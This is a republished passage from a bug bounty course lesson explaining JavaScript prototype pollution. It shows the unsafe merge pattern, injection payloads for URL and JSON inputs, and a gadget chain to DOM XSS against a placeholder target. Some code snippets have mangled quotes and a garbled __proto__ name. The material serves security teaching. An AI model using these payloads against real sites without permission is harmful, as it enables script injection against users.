📰 Originally published on Securityelites — AI Red Team Education — the canonical, fully-updated version of this article.

🎯 BUG BOUNTY COURSE

FREE

Part of the Bug Bounty Mastery Course — 60 Days

Day 28 of 60 · 46.7% complete

⚠️ Authorised Targets Only. Test prototype pollution only against systems you own or have explicit written permission to test. All exercises target PortSwigger labs or your own local Node.js environment.

Prototype pollution is the bug that keeps paying — I have found it on three separate engagements on the same application category. My go-to detection is a quick URL probe; my first escalation step is always gadget hunting in the app’s JavaScript. I have found it on three separate engagements on the same application category — SPAs using JavaScript-heavy frontends with deep merge functions — because the root cause is almost always the same one-liner: an unsafe recursive merge that treats __proto__ as a normal property. Client-side prototype pollution can chain to DOM XSS. Server-side in Node.js can chain to RCE. The payloads are short, the impact is high, and most automated scanners miss it entirely. Here’s the complete Prototype Pollution Bug Bounty 2026 methodology.

🎯 What You’ll Master in Day 28

Understand how prototype pollution works in JavaScript
Identify client-side and server-side pollution sinks
Chain client-side PP to DOM XSS via gadget chains
Escalate server-side PP to RCE in Node.js applications
Write a complete bug bounty report for a PP finding

⏱️ 40 min read · 3 exercises · Day 28 of 60 #### ✅ Before You Start - Day 27 — Path Traversal & LFI — input reaching a sensitive function on the filesystem. Prototype pollution works differently: attacker-controlled input modifies the JavaScript prototype chain. Same principle of “trust without validation,” different execution environment. - Browser DevTools · PortSwigger Academy account · Node.js installed for server-side testing ### 📋 Day 28 — Prototype Pollution Bug Bounty 1. How Prototype Pollution Works 2. Client-Side PP — DOM XSS Chains 3. Server-Side PP — Node.js RCE 4. Finding Prototype Pollution in the Wild 5. Bug Bounty Report Structure Prototype pollution sits in the web application security cluster alongside SSTI and path traversal — all three exploit server-side processing of attacker-controlled input. The Kali Linux Commands reference has the curl and Node.js invocation syntax for testing PP payloads in server-side contexts.

How Prototype Pollution Works

Every JavaScript object inherits properties from its prototype. My mental model for teaching this: think of Object.prototype as a shared notepad — if I write on it, everyone in the room can read what I wrote, whether or not I intended them to. Object.prototype is the root — properties added to it appear on every object. Prototype pollution occurs when an attacker can inject a property into Object.prototype via a path like __proto__, constructor.prototype, or prototype. Any code that later reads that property from any object will receive the attacker-controlled value — even code that has nothing to do with the original injection point.

PROTOTYPE POLLUTION — MECHANICSCopy

The vulnerable pattern — unsafe merge/deep clone

function merge(target, source) {
for (let key in source) {
if (typeof source[key] === ‘object’) {
merge(target[key], source[key]); // VULNERABLE: target[key] can be proto
} else {
target[key] = source[key];
}
}
}

Attack payload pollutes Object.prototype

merge({}, JSON.parse(‘{“proto”:{“polluted”:”yes”}}’))
// Now: ({}).polluted === “yes” ← ALL objects inherit this

Three injection vectors

?proto[polluted]=yes # URL query parameter
{“proto”:{“polluted”:”yes”}} # JSON body
?constructor[prototype][polluted]=yes # alternative path

Quick confirm in browser console

({}).polluted // should be undefined before, “yes” after pollution

Client-Side PP — DOM XSS Chains

Client-side prototype pollution by itself is a Medium finding in my reports. Chained to a DOM XSS gadget it becomes High or Critical — and I always attempt escalation before submitting. My first step after confirming client-side PP is always the gadget search. Chained to a DOM XSS gadget it becomes High or Critical. The chain: pollute a property that a DOM sink later reads without sanitisation — the sink executes your value as HTML or JavaScript. My first step after confirming client-side PP is always searching for gadgets in the application’s JavaScript files that read from polluted prototype properties into sinks like innerHTML, document.write, or eval.

CLIENT-SIDE PP — DOM XSS CHAINCopy

Step 1: Confirm prototype pollution via URL

https://target.com/?__proto__[testprop]=confirmed
Open DevTools Console: ({}).testprop → “confirmed” = polluted

Step 2: Search for gadgets in app JS

Look for patterns reading undefined properties into DOM sinks:
innerHTML = options.template // if template is undefined, reads from proto
eval(config.callback) // if callback polluted → XSS via eval
document.write(settings.html) // if html polluted → XSS

Step 3: Craft XSS payload via pollution

https://target.com/?__proto__[template]=
If app later does: el.innerHTML = options.template (where options has no template)
→ reads from proto.template → XSS executes

Chrome DevTools — check prototype pollution

// In console after visiting the URL:
Object.prototype.template // returns your injected value if polluted
window.proto // inspect prototype chain

🛠️ EXERCISE 1 — BROWSER (20 MIN · NO INSTALL)
Research Disclosed Prototype Pollution Reports on HackerOne

⏱️ 20 minutes · Browser only

---

📖 Read the complete guide on Securityelites — AI Red Team Education

This article continues with deeper technical detail, screenshots, code samples, and an interactive lab walk-through. Read the full article on Securityelites — AI Red Team Education →

---

This article was originally written and published by the Securityelites — AI Red Team Education team. For more cybersecurity tutorials, ethical hacking guides, and CTF walk-throughs, visit Securityelites — AI Red Team Education.